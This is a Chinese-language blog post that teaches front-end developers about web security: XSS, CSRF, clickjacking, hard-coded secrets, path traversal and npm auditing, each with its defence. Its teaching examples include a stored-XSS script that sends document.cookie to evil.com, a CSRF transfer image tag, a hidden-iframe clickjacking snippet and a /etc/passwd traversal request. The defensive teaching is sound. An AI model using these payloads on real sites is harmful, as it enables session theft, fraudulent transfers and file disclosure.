Web 安全:前端开发者需要知道的

说实话,刚入行的时候我对安全没啥概念。SQL 注入?XSS?听起来很遥远。

直到有一次,我写的表单被安全团队扫出漏洞,才意识到安全不是后端的事,前端也得管。

XSS(跨站脚本攻击)

最常见的漏洞,没有之一。

反射型 XSS

攻击者构造恶意 URL,诱骗用户点击:

https://example.com/search?q=<script>alert('xss')</script>

如果后端直接把 q 参数输出到页面,脚本就会执行。

存储型 XSS

恶意脚本被存到数据库,每次访问都会执行。危害更大。

曾经有个评论区,用户可以输入任意内容。有人提交了:

<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

所有看到这条评论的用户,Cookie 都被盗了。

防护

1. 输出编码

永远不要信任用户输入,输出前先编码:

// React 会自动编码
<div>{userInput}</div>

// 但 dangerouslySetInnerHTML 不会
<div dangerouslySetInnerHTML={{ __html: userInput }} />  // 危险!

Vue 的 v-html 同样危险:

<!-- 危险 -->
<div v-html="userInput"></div>

<!-- 安全 -->
<div>{{ userInput }}</div>

2. CSP(内容安全策略)

限制脚本的执行来源:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://cdn.example.com">

这样即使有 XSS 漏洞,内联脚本和外部恶意脚本也无法执行。

XSS 攻击示意图

CSRF(跨站请求伪造)

攻击者诱导用户访问恶意网站,在用户不知情的情况下发送请求。

假设用户已登录 bank.example.com,恶意网站有:

<img src="https://bank.example.com/transfer?to=attacker&amount=10000" />

如果银行网站只靠 Cookie 验证身份,转账就会成功。

防护

1. CSRF Token

后端生成随机 Token,前端提交时带上:

<form method="POST" action="/transfer">
  <input type="hidden" name="_csrf" value="${csrfToken}">
  <!-- 其他字段 -->
</form>

2. SameSite Cookie

设置 Cookie 的 SameSite 属性:

Set-Cookie: session=abc123; SameSite=Strict

Strict:完全禁止跨站请求携带 Cookie Lax:允许安全的跨站请求(如导航) None:允许所有跨站请求(需要配合 Secure)

现代浏览器默认是 Lax,大部分场景够用了。

3. 双重 Cookie 验证

前端从 Cookie 读取 Token,放到请求头里。原理是第三方网站无法读取本站的 Cookie。

Clickjacking(点击劫持)

攻击者把目标网站嵌入 iframe,用透明层覆盖,诱导用户点击。

<iframe src="https://bank.example.com" style="opacity: 0.01; position: absolute;"></iframe>
<button style="position: absolute; top: 100px; left: 100px;">领取优惠券</button>

用户以为点的是按钮,实际点的是 iframe 里的转账按钮。

防护

X-Frame-Options

X-Frame-Options: DENY

禁止网站被嵌入 iframe。

CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self'

更灵活,可以指定允许的来源。

敏感信息泄露

前端代码里写死密钥,是最常见的低级错误:

// 危险!
const API_KEY = 'sk-live-xxxxx';
const DB_PASSWORD = 'password123';

fetch(`https://api.example.com?key=${API_KEY}`);

打包后的代码只是压缩了,不是加密。任何人都能看到。

防护

  1. 敏感操作放后端
  2. 使用环境变量(但 .env 文件不要提交到 Git)
  3. 前端只存 Token,不存密钥
// 正确做法
const response = await fetch('/api/data');  // 后端处理鉴权

路径遍历

用户输入作为文件路径的一部分:

// 危险
app.get('/files/:name', (req, res) => {
  res.sendFile(`/uploads/${req.params.name}`);
});

攻击者可以访问任意文件:

GET /files/../../../etc/passwd

防护

import path from 'path';

app.get('/files/:name', (req, res) => {
  const name = req.params.name;
  const safePath = path.join('/uploads', path.basename(name));  // 只保留文件名
  res.sendFile(safePath);
});

依赖安全

npm 包很多,漏洞也很多。

# 检查已知漏洞
npm audit

# 自动修复
npm audit fix

建议在 CI 里加入自动检查:

# GitHub Actions
- name: Security Audit
  run: npm audit --audit-level=high

依赖漏洞扫描

总结

漏洞类型核心防护
XSS输出编码、CSP
CSRFCSRF Token、SameSite Cookie
ClickjackingX-Frame-Options
信息泄露密钥不存前端
路径遍历校验用户输入
依赖漏洞npm audit

安全不是一次性的事,需要持续关注。推荐关注几个安全博客,定期更新知识。

最后,写代码的时候多想一步:如果我是攻击者,我会怎么利用这段代码?